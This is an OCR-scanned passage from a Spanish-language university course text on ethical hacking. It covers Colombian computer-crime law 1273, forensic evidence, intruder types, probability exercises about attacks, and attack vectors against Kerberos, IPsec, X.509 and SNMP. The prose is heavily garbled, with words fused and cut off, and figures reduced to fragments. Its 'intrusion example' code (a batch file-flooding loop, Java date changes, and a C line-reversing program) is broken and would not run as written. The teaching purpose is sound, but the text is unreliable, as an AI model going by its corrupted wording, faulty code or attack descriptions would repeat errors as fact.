3.1.1.8. Actividades de complementacioil interesado en el aprendizaje del hacking ético,
debe estar familiarizado con los comandos basieaspdracion, por esta causa, se debe conocer

con propiedad los listados seguidamente:



65

« Ping
Opciones: -t, -a, -n, -f, -v, -1, -R, -s, -}, -4§
+ Route
Opciones: print, change y delete
¢ Finger
Opciones: -L, @Host
¢ Net
Opciones: Account, computer, config, continue,, filgoup, pause, start, session, user,
time, view y statistics
+» Netstat
Opciones: -a, -b, -e, -f,-n, -0, -p, -, -S
Seguidamente debe interpretar en funcionalidadwieic.exe, para explorar la configuracion
I6gica de la arquitectura, por ejemplo:
Wmic nt domain list brief
Wmic port list full>>libre.txt
Wmic gfe
Wmic onboard device
Wmic memcache
Wmic job
Wmic csproduct
Wmic boot config
Wmic logon
Wmic memlogical
Wmic net use
Wmic net protocol
Ejecutarlo y determine su funcionalidad.
Finalmente, es necesario recordar para las préxgesenes los temas que se listan:
+« Modelos TCP/IP, Apple y OSI/ISO
++ Algoritmos de criptografia
+ Software dafiino
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3.1.1.9. Referencias bibliograficas.
http://www.bvs.sld.cu/revistas/ems/voll7 2 03/en28&htm

http://www.internetglosario.com/1131/Hackingetidmh

http://hacking-etico.com/

http://www.rfc-base.org/rfc-year-2000.html
http://www.bvs.sld.cu/revistas/ems/voll7 2 03/en28&htm

3.2. UAES 2: Delito informatico e intrusos

+¢+ Objetivo. Familiarizar a la comunidad académica con la tigi@alel delito informatico y su
escenario juridico de penalizacion, identificands sausales y sujetos generadores a nivel de
intrusion.

+»» Componentes tematicosSe exponen en este contenido de aprendizaje edrédatde la ley
1273 que crea como bien juridico tutelado, la m@én de informacion, junto con el proceso de
deteccion de intrusos en una arquitectura compnaci

3.2.1Delito informatico. Convencionalmente, el delito informético es todeid@t de caracter
punitivo, que afecta la integridad y cadena de rvale una entidad logica o arquitectura
computacional. Concepto que se aplica a la modificade contenidos, a la fabricacion de
valores, a la escucha y copia de transaccionass@plantacion, congelacion de arquitecturas y a
la apropiacion ilicita de referentes informaticosediante la generacion o aplicacion de un
ataque.

El congreso de la Colombia, mediante la ley 12743dde enero del afio 2009, crea un nuevo
bien juridico tutelado denominado: “De la proteocife la informacion y de los datos”, para
preservar integralmente los sistemas que utili@n tecnologias de la informacién y las
convocaciones; su alcance estructural, se observaladiagrama mostrado en la figura 20, esta
ley, valora la accion del delito informatico, atalagar los factores o nucleos de accion, que se
listan:

¢+ Acceso no autorizado.

+¢ Violacion del legitimo derecho de uso.

+¢ Obstaculizaciéon del funcionamiento o acceso a latafprma de codmputo.

+¢ Interceptacion de datos informéticos en su origdastino.

« Interceptacion y modificacion de las emisionested@cagnéticas de un sistema informético.

+¢ Destruccion, dafo, borrado, alteracién o supredédatos.
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¢+ Produccion, trafico y adquisicién de software maio o programas con efectos dafiinos.
+¢ Violacion de datos personales.
¢ Robo de propiedad intelectual, espionaje industitiahsferencia no autorizada y pornografia

infantil.

Leyl273

ADOrsD abisive
LiniEmA
migrmaticn

Imbercepranion
de datos

Dafic
infarmaticn

Sofware
malicians

Viclschin dalos

Codigo penal
Articulo Titulo Vi1 bis

Dia la proteccidn de la
infarmacidn

Figura 20. Alcance estructural Ley 1273.

Fuente. Disefio requerido.

3.2.2Tratamiento operacional del delito informaticd.a informatica forense, determina como

unidad béasica de exploracion y analisis la evideddaital [Cano 2015], esta se considera como
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la entidad informética generada y extraida porspeeialista para su analisis y estudio integral,

en un proceso investigativo.

La evidencia, posee estas caracteristicas:
+¢ Volatilidad.

+ Anonimato.

«+ Duplicacion.

+» Alteracion.

+«¢ Modificabilidad.

« Eliminacion.

Por esta causa, es importante configurar un esoeth@roperacion, que asegure plenamente su

integridad y confiabilidad, escenario que se maestrla figura 21.
Los generadores de evidencia informatica son:

+ Registros almacenados en plataformas computacgnale

+» Registros generados por procesos transaccionakasgditeria y control.

¢ Registros operacionales generados por softwarkgatio.

Ay : -

* PHvA [p!anear, hacer

uerificar\racluar]
I i
Pre\.ns|b|||dadeiIigen i
Cia
‘ Vi,

* Quiény ¢
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* Fcidod gq gy
de ion
o mterpretacidn

bt Simﬁ;tLd Rty
\ Omg| |
-.__fifc“”‘enidos Ogable
| ° Certificacign g ——
L Integrigag

Herramientas especializadas

o Encaséf!
o ForensicToolkitf2
o Winhex®

o Sleuth Kit™

Figura 21. Escenario procedimental de la evidencia

Fuente: Disefo requerido.
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3.2.3Talante diferenciador.El especialista en el seguimiento de la evidengjiadl como
valorador de la accién del delito informatico, defagantizar su objetivo dominio conceptual,
experimental y relacional del pentagono se valatdfigura 22.

= —._Electranica
Informatica. =
y,

N, Seguridad

Informatical 5
forense |

Saber
Forense

|
/ Instrumentacién
/ Juridica

Ciencias
forenses

Figura 22. Pentagono accién especialista forense
Fuente: Aporte realizadores.

Sus elementos basicos de instrumentalizacion derex en informatica forense (Cano 2015)
son:

+¢ Arquitectura computacional.

+ Logica digital.

¢+ Sistemas operativos.

% Programacion avanzada.

% Técnicas de hacking.

% Procesos de recuperacion.

« Andlisis de vulnerabilidad.
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«+ Jurisprudencia informética.

+« Convergencia tecnolégica.

+ Estudio de procesos digitales.

+¢ Derecho penal.

« Correlacién y analisis de evidencias.

«+ Control y verificacion forense.

« Analisis operacional de auditoria.

+ Pericia forense y metodologias de estudio procetahe

Para efectos de valoracidén prospectiva y analiticta evidencia, se muestra en la figura 23, los
elementos que la conforman.

sFaramesros
1. Mitadatod s r

Figura 23. Nucleos logicos de la evidencia.
Fuente: Disefo requerido.



71

3.2.4Teoria de la intrusion.Dentro del escenario de la informatica forense ywdguridad
digital, el intruso es la persona generadora dactadn de riesgo o el creador del ataque que
explota la vulnerabilidad observada e instrumentada

La personalidad del intruso es catalogada o tguificen esta trilogia [Stallings 2012]:

+ Suplantador.

¢ Fraudulento.

+ Clandestino.

El intruso, configura la plataforma de ataque, sgiéista seguidamente. [Kin 2014]

+» De diccionario.

% Eavesdroppind.

¢ Fuerza bruta.

% Hijacking®.

% Hombre en la mitad.

% Ingenieria soci&f.

< Masqueradin’.

% Pharmin§®.

% Phreaking®.

+ Spoofing direccional.

El intruso, dado su nivel de conocimiento computaal y del proceso transaccional, se
especializa en el salto o burla de los siguiempes e controles, a saber:
« Tipo administrativo: Formacion de claves, accebaaora de ingreso.

+¢ Tipo logico y técnico: Confiabilidad, tendencialdlequeo.

®1Es el escuchar una conversacion, espiar, husmaanfarmacion recolectada por eavesdropping seeutlizar
para planear otros ataques a la red. http://cilpseslacademica.mx/206/seguridad-en-redes/2-ameiyaza
ataques/eavesdropping

®2Hace referencia a toda técnica ilegal que llevesigon el aduefiarse o robar algo por parte de un
atacante. http://es.wikipedia.org/wiki/Hijacking

®Es la practica de obtener informacion confidenciala  través de la manipulacion
de usuarios legitimos.https://es.wikipedia.org/ifigeniereC3%ADa_social_(seguridad_inform%C3%Altica

8 Consiste simplemente en suplantar la identidad detociusuario autorizado de un sistema informaticsuo
entorno. http://www.ibiblio.org/pub/linux/docs/LuSAVanuales-LuCAS/doc-unixsec/unixsec-html/node4#6l ht
®Explotacién de una vulnerabilidad en el softwarelate servidores DNS o en el de los equipos de topigs
usuarios, que permite a un atacante redirigir unbtre de dominioa otra maquina distinta.
https://es.wikipedia.org/wiki/Pharming

®persona que con amplios conocimientos de telefonéale llegar a realizar actividades no autorizamslos
teléfonos, por lo general celulares. https://espeittia.org/wiki/Phreaking



72

% Tipo residente: Hardware, nfdcsoftware:
o0 Sistema operativo.
o Estructura de archivo.
% Tipo Resguardo: Arquitecturas de control, arquitexs de desvio, arquitecturas de
proteccion.
El conjunto de controles enunciados, operan saiwaliferentes dominios de operacion y se
contextualiza segun se muestra en la figura 24.
0 Dominio de usuario.
o Dominio de LAN.
0 Dominio LAN-WAN.
0 Dominio WAN.
0

Dominio de acceso remoto.

Resguardo Residente Técnico

Plataforma Logica

Servidar
web

Normativay
documentacion

IS0 27002
NIST $P300%
ITIL

+ COBIT™
+ COs0™!

Figura 24. Esquema operacional tipologia de control

Fuente: Disefo requerido.

® Es un identificador de 48 bits que corresponde folena Unica a unatarjeta o dispositivo de red.
https://es.wikipedia.org/wiki/Direcci%C3%B3n_MAC
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Un ejemplo elemental de intrusion, se muestra esataracion del espacio de visualizaciéon del
usuario, en la modificacion de los pardmetros datrobdel reloj o en la modificacién de
contenidos de los registros almacenados en urvardhai como se muestra a continuacion:
+« Caso 1: Saturacion espacio de visualizacion

echo off

cls

echo Universidad Libre Octubre 2015

echo Ejemplo basico de intrusion

set/p libre = que archivo va a crear:

set/p grupo = que archivo desea copiar:

set/p valor = cuantos va a copiar?:

for /l %%x in (1,1,%valor%)

do

{

echo>> libre %%x

copy %grupo %libre %%x

}

pause

cls

echo ya todo término

pause

for / %%x in (1,1, %valor%)

do

®Es un estandar para la seguridad de la informagéblicado por l@rganizacién Internacional de

Normalizaciény la Comision Electrotécnica Internacionhttps://es.wikipedia.org/wiki/ISO/IEC_27002

®Son una serie de documentos de interés generak sBbguridad de la Informacién. http://www.segu-

info.com.ar/guias/nist.htm

0 Es una guia de mejores practicas presentado framework, dirigida al control y supervisién denelgia de la

informacion (TI).

https://es.wikipedia.org/wiki/Objetivos_de_contneéra_la_informaci%C3%B3n_y tecnolog%C3%ADas_retacio

adas

"Proceso de recoger, agrupar y evaluar evidencias qeterminar si un Sistema de Informacién salvatzual

activo empresarial, la integridad de los datoslizateficientemente los recursos.
http://cosoauditoriainformatica.blogspot.com.co/RO/auditoria-informatica.html

2 Es una zona segura que se ubica entre la red intlrnana organizacion y una red externa, generaément

enlnternet https://es.wikipedia.org/wiki/Zona_desmilitarizadinform%C3%A1tica)
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{

dellibre %%x
}
¢ Caso 2: Modificacién de parametros de control ttg re
Import java.util.*;
Public class reloj

{

Public static void main(String args[])

{
Date x = new date();
Gregoriancalendar y = new gregoriancalendar();
y.set(2020,10,26);
y.set(2030,10,26,3,40,55);
y.set(calendar.year, 2050);
y.add(calendar.day_of mouth,5);
y.add(calendar.hour,10);

y.add(calendar.minute,-5);

}

+» Caso 3: Alteracion de contenido de unos registons/glidacién de parametros de busqueda
#include <windows.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dir.h>
#include <io.h>
main(intargc, char *argv([])
{
file *libre, *smle;
char texto[80];



system(“cls”);

if(argc = 4)
{
printf(“\n\n\t Error en programa = %5 \n ", argy[0
getch();
abort();
}
if(access(argv[1],0) != 0)

{
system(“cls®);
printf(*\n\n\t Archivo = %5 no existe \n “, argvjj
getch();
abort();
}
if(access(argv[2],0) == 0)
{
system(“cls®);
printf(“\n\n\t Archivo = %5 existe, puede borraise’, argv[2]);
getch();
abort();
}
if( (libre=fopen(argv[1],”12"))== NULL)
{
system(“cls®);
printf(“\n\n\t Archivo = %5 no se lee \n “, arg\Jji
getch();
exit(1);
}
if( (smle=fopen(argv[2],”w"”))== NULL)
{

system(“cls®);
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printf(“\n\n\t Archivo = %5 no se escribe \n “,ga2]);

getch();
exit(1);

}

while(fgets(texto,sizeop(texto), libre))
{

if(strstr(texto,argv([3]))
fputs(strrev(texto),smle);
else
fputs(texto,smle);
}
fclose(libre);
fclose(smle);
return(0);
}
Este programa se activa, por ejemplo cuando eilsatenvia como parametros:
libre.cpp smle.cpp (
Donde,
libre.cpp es el archivo de entrada
smle.cpp es el archivo de salida
(‘es el caracter a buscar
En cada registro donde se encuentre el caractelasen “(“, se escribe inversamente su
contenido, por ejemplo:
libre.cpp
if(a>b) x=y;
smle.cpp
;y=x)b>a(fi
3.2.5Soporte matematico para la intrusiorkl intruso si quiere obtener éxito pleno en la
elaboracion del ataque, debe estar en capacidadatigar la contextura estructural de las claves
y debe poder dimensionar la funcidén de traficagalizar la disponibilidad y grado operacional
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de trabajo de la plataforma, hecho que demandetainiento elemental de los principios de
teoria de colas y de los fundamentos de probabikkdadicional, a saber:
+» Teoria de colas [Obregon 2002]
Siendo:

A = numero promedio de arribo transaccional al dervi

u = tasa promedio de servicio.
Se emplean estos referentes:

o Disponibilidad de servidor

| >

o Probabilidad de servidor vacio
A
P(0) =1—-—
1)

o Probabilidad de encontrar una transaccion sieretodata y dos en espera

)\ n
P = (5) R
7]
0 Longitud de cola del servidor
)\2
TR
o Longitud del sistema (Linea de empresa)

L

o Tiempo de espera en la cola

o Tiempo de espera en el sistema

1
TS:E-F Tq
1 A 1 A u? — A + pa

To= — ——= —+ =

SRR TT(TEp'y R TR TEE S TV ST (TR T
BTV vy B TEE TV N TT (TR Y R TE

o Probabilidad extensién de cola >K

P(L > K) = Pk*1
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o Probabilidad tiempo de espera en la cola >K

P(T,>K) = @) G

u

+ Fundamentos de probabilidad

o

o

o

P(e; N&y) = P(g1).P(ey)
_ P(gzngq)

P(e;| &) = TheD)

P(&, U &) = P(g1) + P(g2) — P(e1 N &y)

_ P(el).P(Eal 81)
P(ng ga) - n_ P(er).P(eq| €L)

P(g) >0

(Teorema de Bayes)

Su aplicacion, se ilustra con el estudio de lossagyuientes:

+» Caso 1: Principio de eliminaciordn sistema telematico, esta conformado por losidergs

A, B y C, que atienden de forma respectiva el 3@@0 y el 10% de las transacciones
procesadas; el indice histdrico de fallos por &sencia de no ataque efectuado por un intruso, es

por servidor: A=0.20, B=0.15 y C=0.07, ¢cudl eprababilidad de que el sistema falle por la

presencia de un ataque?

« Informacién de observacion

indice probabilistico de operacién
P(A) =0.30
P(B) = 0.60
P(C) =0.10
P(F) = Probabilidad de fallo por ataque

P(F|A) =0.20

P(F|B) = 0.15

P(F|C) = 0.07

++ Expresion matematica de control

3
P(F) = ) P(0).P(F|02)
i=1

P(F) = P(A).P(F|A) + P(B).P(F|B) + P(C).P(F|C)
P(F) = (0.30)(0.20) + (0.60)(0.15) + (0.10)(0.07)
P(F) = 0.06 + 0.09 + 0.007 = 0.157
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Que sefala que la probabilidad de fallo por atagudel 15%.
+ Caso 2: Teorema de BayeBres seguidores, controlan el intercambio transaetien el
sistema teleinformatico de una empresa, con irdBagperacion respectiva de 25%, 45% y 30%,
semanalmente los enemigos de la red, lanzan atgmgwasperturbar su funcionamiento, con
indice de accién por servidor del 6%, 12% y 8%piske con esta informacion determinar la
probabilidad de congelacién del sistema al haluker sfiacado el servidor A.
% Informacién de observacién
S1 = Servidor 1
S, = Servidor 2
S; = Servidor 3
T, = Trabajo transaccional por servidor
P(T;y) = 0.25
P(T,) = 0.45
P(T3) = 0.30
P(F) = Probabilidadde fallo por ataque
P(F|Ty) = 0.06
P(F|T,) = 0.12
P(F|T3) = 0.08
“ Pregunta a resolver
P(Ty|F) =7
P(Ty).P(F| &)
i1 P(T). P(F| &)
(0.25)(0.06)
(0.25)(0.06) + (0.45)(0.12) + (0.30)(0.08)

0.015
(0.015) + (0.054) + (0.024)

P(T1|F) =

P(Ty| F) =

P(Ty| F) =

0.015
P(T1| F) = 5o = 01612

P(T,| F) = 16,12%
Que indica la probabilidad de congelacion o detanclel sistema por ataque al servidor A o

uno.
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3.2.6 Actividades complementarias. El indice de ampliacion conceptual, de la tematica
considerada en este apartado, demanda la realizdeiéstas tareas o actividades:
«» Lectura e interpretacion del capitulo 9 que versares teoria de intrusos del libro
“Fundamentos de seguridad en redes: Aplicacionestgindares’de William Stallings.
¢ Formalizacién y dominio de estos principios:
0 Andlisis combinatorio.
o0 Fundamentos de probabilidad.
Tema que puede ser estudiado del lifireoria de probabilidad”de lvan Obregén Sanin.
Con dicha fundamentacion, se podra ampliar el sisalfiormal de la conformacién y
estructuracion de claves.
+ Revision de ataques e informatica forense
0 Vulnerabilidad y ataques
» Capitulo 3: Fundamentals of information systemsisgc
David Kim and Michael Solomon
Editorial Jones &Barlett
o Elintruso y sus técnicas
» Capitulo 3: Computacion forense
Jeimy J. Cano
Editorial Alfaomega
3.2.7. Referentes bibliograficos.

http://queaprendemoshoy.com/intrusos-delitos-infdroos/

http://www.deltaasesores.com/articulos/autorestaalas/otros/3576-ley-de-delitos-

informaticos-en-colombia

http://www.justdocument.com/download/992923670&dsna-de-deteccion-de-intrusiones-

papeles-teoria-informatica-tesis-trabajos-acadesnico

http://www.freelibros.org/redes/fundamentos-de-sielaud-en-redes-aplicaciones-y-estandares-

2da-edicion-william-stallings.html

https://es.wikipedia.org/wiki/Teorema_de_Bayes
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3.3. UAES 3: Generadores de riesgo y de delito
+ Objetivo de aprendizaje. Presentar el contexto referencial funcional y operal que
genera de forma enddgena o exdgena condicionamieetdalla, riesgo o destruccion en una
arquitectura computacional, por accién de ataqaeSgurados por los piratas dela informacion.
«+ Componentes tematicos

o Confiabilidad, fallos y riesgos.

0 Escenarios de riesgo.

o Malware.

o Delito informatico y evidencia.
3.3.1. Confiabilidad, fallos y riesgosConvencionalmente, en el escenario de la computacio
una arquitectura computacional se dice que esatasfisi valida su integridad operacional y
asegura el proceso de interactividad pleno conuglagde usuarios.
Mateméaticamente, la confiabilidad esta referencipdala expresion que se muestra [Meyer
2001].

R(t)=P(T>t)

; ! }

Funcién de confiabilidad Valorador de integridad  erfipo de ponderacion

R(t) = f " F(s)ds

R(t)=1—-p(T <t)=1-F (t)
R (t) = e %teg ®2tg-ast
R (t) = e t(@mta*as): Sistema serie
R (t) = R,(t) + R,(t) — R, (t)R,(t)

R (t) = e %1t 4 g~ %2t — g~(@1+@)t: Sistema paralelo
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El sistema teleinformatico o computacional valida cnfiabilidad, cuando registra estas

evidencias:

+ Completes operacional de unidades.

«+ Proteccion total unidades de almacenamiento.

+¢ Integridad puertos y unidades especiales de inesaon.

« Completes logica del sistema de administracion

+¢ Integridad sistema de registro de usuarios.

+«» Generacion de respuesta oportuna para rechazatasteestructivos o modificadores de

estado operacional.

«¢ Bitacora de seguridad con transparencia funciofidihgaje operacional.

El fallo, por su parte es interpretado como eldestde modificacion operacional, generado por
estructuras logicas internas o motivado por ageégenos [Stallings 2012].

Estos fallos se esquematizan, segun el marco gagorde accion de respuesta (Cristian 1999)
pudiéndose citar entre otros:

+«+ Condicionamiento equivoco: No existe coherencialgmoceso de respuesta del servidor.

+«+ Condicionamiento interpretativo: El servidor noemmreta sincronicamente los contenidos de
valor y transicién de estado.

+« Condicionamiento l6gico operacional: El osciladet sistema, provoca fallos en tiempos de
respuesta.

+« Condicionamiento de bloqueo: El servidor no recib&ransmite valores informaticos segun

periodos preestablecidos por su funcionalidad &gic

+¢ Condicionamiento fisico: El servidor se bloque&mrina su procesa, por logo o restauracion
sucesiva.

Con la figura 25, se ilustra el proceso operaciaeafallos en toda arquitectura computacional,

identificando sus elementos generadores.
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Bitacora

Generadores
logicos
Oscilador
NACK

Interpretacion equivoca
Bloqueo Tx/ Rx

Bootstrap / Logoff / Shutdown
Mo sincronizan del reloj

]

]

(8]

Destruccién
de valores

Desvio
transaccional
Recuperacidn

Figura 25. Generadores de fallas en arquitectuedsihformaticas.

Fuente: Construccién propia.

En la figura anterior puede observarse como loemelores l6gicos ACK / NACK, activan un
conjunto de operaciones de naturaleza heterogéoem, los que se listan a continuacion:

+» El cliente no puede ver el servidor.

+¢ La transaccién se pierde al desviarse 0 no respeade

« El cliente jamas valora respuesta del servidor.

+¢ El cliente se pierde por accién de réplica y seailbn modo logoff.
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Las modernas arquitecturas computacionales, paralet los procesos de fallos, estan dotados
de una infraestructura logica de recuperacion, laooual se minimiza el riesgo destructivo,
operando en forma dual, bien sea hacia atras coperacion hacia adelante, [Chow 2000]
configurando estos bloques de accion:

+ Revision periddica del sincronismo del reloj.

++ Catalogacion virtual de almacenamiento para mantépéicas de contenidos.

+ Establecimiento de puntos de chequeo secuencial getectar respuesta de protocolos
pesimistas.

++ Duplicacion transaccional orientada a la recupéraci

Los efectos de fallos considerados, presuponeristeacia de modelos de consistencia (conit)
bien sea secuenciales, causales o concurrentesemeanao total coherencia en el proceso de
generacion de réplicas, bien sea las iniciadaglpservidor o por el cliente, estos modelos estan

fundamentados sobre la operacion del osciladocptab lo sefiala la figura 26.

Consistencia Recuperacién

Recepcion
TX

Condicionamiento ; Condicionamiento
middleware 1 de seguridad

Ajuste del

f Fallos légicos
reloj

Figura 26. Consistencia logica del oscilador.

Fuente: Disefio requerido.

La interaccion capa de red, capa de aplicacion pa caiddleware, al evidenciar ciertas
vulnerabilidades se convierte en plataforma gemegade los riesgos que se listan, aclarando
gue el riesgo en el léxico de la seguridad infortaatse define como la tendencia potencial a la
destruccion por accion de los intrusos generadigkdelito informético, al interrumpir su flujo
de confiabilidad y estructura de decibilidad ennogles de recepcion de red, proceso en capa
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de comunicacion y recepcion en el nivel de apl@acia existencia del riesgo se pone de

manifiesto en los referentes que se listan [StEl2012]:
+» Certificados y atributos de emision.

« Transformacion de contrasefia a clave.

% Generacion de claves de sesion.

+» Estructura cabecera mime (Multipurpose Internet Egiensions).
+« Codificacion de transferencia.

+¢ Proceso de aplicaciones IPSEC.

+¢ Valores de comprobacion de integridad.

«¢ Estructura carga util ISAKMP.

+¢ Validacion de integridad SSL.

+« Blogueo de cddigos de alerta TLS.

+ Confidencialidad de informacion SET.

+¢ Proceso de servicio proxy.

% Trazabilidad modelo VBACNF (View Based Access Control Model).

La tipologia de ataques y las acciones de losggirde la informacion, permiten construir el

histograma de accién de los riesgos teleinformgtitsbaccion comun, sefialado en la figura 27.

Tipo de riesgo

90% 83%

Figura 27. Histograma accion de riesgos.
Fuente: Aporte realizadores.

¥ Regula el acceso a los objetos MIB proporcionamimecanismo de grano fino de control de accesaspea a

los usuarios con vistas MIB.

http://www-

01.ibm.com/support/knowledgecenter/SSTFXA_6.2.0/dmmnetcool_ssm.doc/ssm321ag/JL1077598774y.html
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3.4. UAES 4: Agentes perturbadores
+» Objetivo. Presentar los principios relacionados con el vedeataque, los generadores de
amenazan y ataques y las entidades légicas queficaodiel estado de una arquitectura
computacional, embebidas dentro del software dafino
+«» Tematicas de aprendizaje

0 Vector de ataque.

o Entidades de perturbacion.

o0 Malware.
3.4.1. Vector de ataqueEn el escenario de la seguridad de la informa@brector de ataque
se define de estas formas, a saber:
% Conjunto espacial de agentes que definen las eaistatas del blanco declarado como
objetivo de intrusién o destruccién (Triana, 2014).
+ Descriptor operacional que configura el espaciatdgue o escenario de accion a modificar o
alterar su infraestructura légica (Garcia-Morari, 20

El vector de ataque, integra los elementos queusstman en la figura 28.

Wector de
ataque

Nombre

Direccion 1P

Servicios
operacionales

SMTP =25/ 465
Puertos TCP/UDP /[ SNMP =61
WKP: Well TCP/UDP/POP3 =110/995
Known Port
TCP/UDP/FTP=21
TCP/UDP /HTTP =80

o Sistemna operativo
o Tipologia de archivo
o Bitacora

o Particiones

Identificadores

Firewall

Blogueo

Figura 28. Componentes del vector de ataque.
Fuente: Disefo requerido.
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Producto de la estructuracion éptima del vectontdgue, se asegura que con la definicion de
parametros orientados, se pueden ocasionar esibdi@ de inconsistencias 0 molestias
operacionales:
+ Bloqueo centro de distribucion de claves

o Se impide el envio del host. (1)

o El front-end no puede retener el paquete. (2)

0 EI KDC (Centro de distribucion de claves) no emeispuesta a ningun servidor. (3)

0 Se modifica el paquete y se transmite. (4)

Graficamente, este bloqueo se configura segurss@liza en la figura 29.

Figura 29. Bloqueo centro de distribucion de claves

Fuente: Disefio recurrente.

“ Modificacion esquema de cifrado de clave publidal[ags 2012].

Se alteran funcionalmente o se borran los elemealgiossquema, a saber:
0 Mensaje fuente.
o Algoritmo de cifrado.
o Clave publica.

o Clave privada.
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0 Mensaje cifrado.
o Algoritmo de descifrado.
+» Destruccion funcional fases logicas de intercanmainsaccional.
o Conexién usuario-host.
o Verificacion del servidor de autentificacion.
o Proceso de autentificacion (TGTTicket Granting Ticket).
o Descifrado del ticket por el servidor de garantéh plasaporte o clave para validar la
integridad operacional del TGS (T&STicket Granting Server).
o Dialogo de configuracién estacion-host.
o0 Proceso del servidor.
¢ Adulteracién formato de certificado. Se valoran lastores de riesgo y facilidad de
modificacion de cualquiera de los componentes aiefnpor X.509, entre los mas buscados, se
encuentran:
o Numero de serie.
Nombre de emisor.
Informacion de clave publica.

Informacidén emisor.

o O O o

Firma digital.

+«» Rompimiento descriptores operativos del correo.
o Adulteracién generador clave de sesion.
o Rompimiento archivo de claves.
o Adulteracién byte de confianza.

» Campo Owner truét

» Campo Keylegit’

" En algunos sistemas de seguridad informatica,aletdde concesion de vales o tickets para consegtriadas
(TGT) es un archivo de identificacibn pequefio, gtado con un periodo de validez limitado.
https://en.wikipedia.org/wiki/Ticket_Granting_Tidke

> Un TGS valida el uso de un billete para un fin eesfico, como el acceso de servicios de red.
https://www.techopedia.com/definition/27186/tickgtnting-server-tgs

S Confianza asignada al duefio de una clave pubdiparéce después del paquete de claves, definidelpor
usuario). Stallings, William, (2004). Fundamenties seguridad en redes. Aplicaciones y estandaéegnd 146.
Tabla 5.2. Contenidos del byte indicador de cofian

" Confianza asignada a la pareja de clave publidadlé usuario (aparece después del paquete ID daiaisu
calculado por PGP). Stallings, William, (2004). nHamentos de seguridad en redes. Aplicacioneséndetes.
Pagina 146. Tabla 5.2. Contenidos del byte indicddaconfianza.
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» Campo Sigtrugt
0 lIrrupciéon en contenido mime.
o Modificacion estructura certificado Verisigh.
+ Salto arquitectura IPSEG (Ver figura 30).

Cifrado

Autenticacion

Servicios
ps Legistica
o GControl de acceso o Rechaza
o Integridad sin conexion o Confidencialidad de cifrado
o Autentificacion o Confidencialidad de flujo

o Protocolo capa transporte
o IPSCG
o Puerto fuente / Puerto destino

o Tipo de semvicio

Figura 30. Parametros arquitectura IPSEG.

Fuente: Aporte realizadores.

¢ Modificacién Header de autentificacion IPSEG ($tglt 2012).
o0 Longitud carga util.
o Indice de parametros de seguridad.
o Numero de secuencia.
0

Datos de autentificacion.

8 Confianza asignada a la firma (aparece despuépatglete de la firma; copia oculta de Ownertrusa este
firmante). Stallings, William, (2004). Fundamentds seguridad en redes. Aplicaciones y estandBéggna 146.

Tabla 5.2. Contenidos del byte indicador de cofian
79
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< Blogueo elementos de autentificacion sobre B gRH®! (Ver figura 31).

o Salto de cabecera

0 Repeticion.

o Comprobacion de integridad.

0 Adulteracidbn modos de operacion (Ver figura 32).
» Transporte.
» Tunel.

Servidor Autentificacion
Extremo - Extremo

Cliente

Red intema

FC .
Cliente Rt_lH'[Ef A

Autentificacion
Extremo - Intranet Cliente

Funtos
focales de Puntos
ataque basicos de

atague

Figura 31. Proceso funcional ESP / AH.

Fuente: Disefo propio.

8 protocolo de encapsulado de seguridad de la cailg&SP (Encapsulating Security Payload). El pcoto ESP
aporta confidencialidad mediante cifrado y ciedapacidades de proteccion frente al analisis déttr. Espafia
Boquera, Maria Carmen (2003). Servicios avanzaddeldcomunicacion. Pagina 280

8 protocolo de cabecera de autenticacion, AH (Autbation Header). El protocolo AH proporciona inteigd de
datos, autenticacién del origen y un servicio destd a impedir ataques por peticién. Espafia Bogldaaia
Carmen (2003). Servicios avanzados de telecomubita®agina 279.



Sesion TCP / Cifrado

Red interna Red exierna

Cliente Red interna Red externa

Tinel
de cifrado

Tlnel
de cifrado

Cliente

Accion de
riesgo

Cliente

Figura 32. Modos de operacion Transporte / Tunel.

Fuente: Aporte realizadores.

+ Rompimiento paradmetros fase de sesion.
o lIdentificador de sesion.
o0 Adulteracién comprension.
o Invalidacion clave maestra.
0 Modificacion estado de conexion.

» Secuencia aleatoria de bytes.

> Clave secreta MAC de escritura del servidor.

» Clave secreta MAC de escritura del cliente.
> Vector de inicializacion.

> Numero de secuencia.

91
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++ Estropeo o anulacion agente proxy por bloqueo @iés de gestion, eliminacion funcion de
correlacion o salto del proceso de administracid@iminar l6gicamente las acciones definidas
por:

0 SNMP.

o UDP.

o IP.
o Eliminacion protocolo de red.
o0 Saturacién del Router agente.

» GetRequest.

» GetNextRequest.

» GetResponse.

» Trap.
» Saturacion proceso de maquina virtual al modificarcongelar funcionalidad del

middleware, hecho que se visualiza en la figura 33.

Esquema de frabajo Maquina virtual
Aplicaciones
) _ Sistema en tiempo
SERVIDOR de ejecucion
_— Sistema operativo

Hardware

Aplicacion Aplicacion
Middleware Protacolo Middleware

Sistema operativo _de i Sistema operativo
cliente aplicacion local

arga logica
. Blogueo de comando
Bloqueo de sefiales

Red cenfigurada

Enrutamiento y supervision de interconexion

Figura 33. Saturacién maquina virtual.

Fuente: Aporte realizadores.
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Formalmente, todo vector de ataque, suministrag@sar los parametros estudiados durante el
andlisis de vulnerabilidad de la arquitectura, sgidistan a continuacion:
« Fragilidad en configuracion.
¢+ Proteccion incipiente del registro.
+¢ Escasa validacion del configurador de seguridagidetma.
+¢ Inexistencia de firewalls.
+» Equivoco uso del proxy.
+¢ Fragilidad funcional durante procesos RPC.
+¢ Equivoco proceso de multitransmision sincronictuei.
+« Fallas en la operacién del modelo de consistefigm sea centrada en el cliente o en los
datos.
+¢ Incorrecto seguimiento de ocurrencia de fallosgetscion, omision, tiempo y respuesta.
+¢ Fallas en proceso de recuperacion.
% Equivoco manejo del TCH(Trusted Computing Base).
+¢+ Salto en parametros de control de acceso.
0 Matriz de control de acceso.
Dominio de proteccion.
Eliminacion de proteccion.

Negacion de servicio.

o O O o

Equivoco enlace de control para definir:
» Capacidad.
» Certificado de atributo.
0 Incoherencia funcional en la estructura definicia @ proxy:
» Derecho de acceso.
» Estructura publica.
» Firma.
» Estructura privada.
0 Procesos no determinados para controlar:
» Objeto.

8Conjunto  de hardware, firmware y/o software de comgmtes que son criticos para su seguridad, en
errores o vulnerabilidades que ocurren dentro d&Cla podrian poner en peligro las propiedades dargtad de la
sistema entero. https://en.wikipedia.org/wiki/Tagstcomputing_base.
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> Estado.
» Método.
> Interface.
+«» Operacion no confiable de la sincronizacion.
0 Semantica de archivos compartidos.
o Bloqueo de archivos.

o Consistencia y replicacion.

3.4.2. Entidades de perturbacionLa realizacion de los procesos de ataque, definidos
operados por los hackers, es producto de la wifimade herramientas especializadas, que
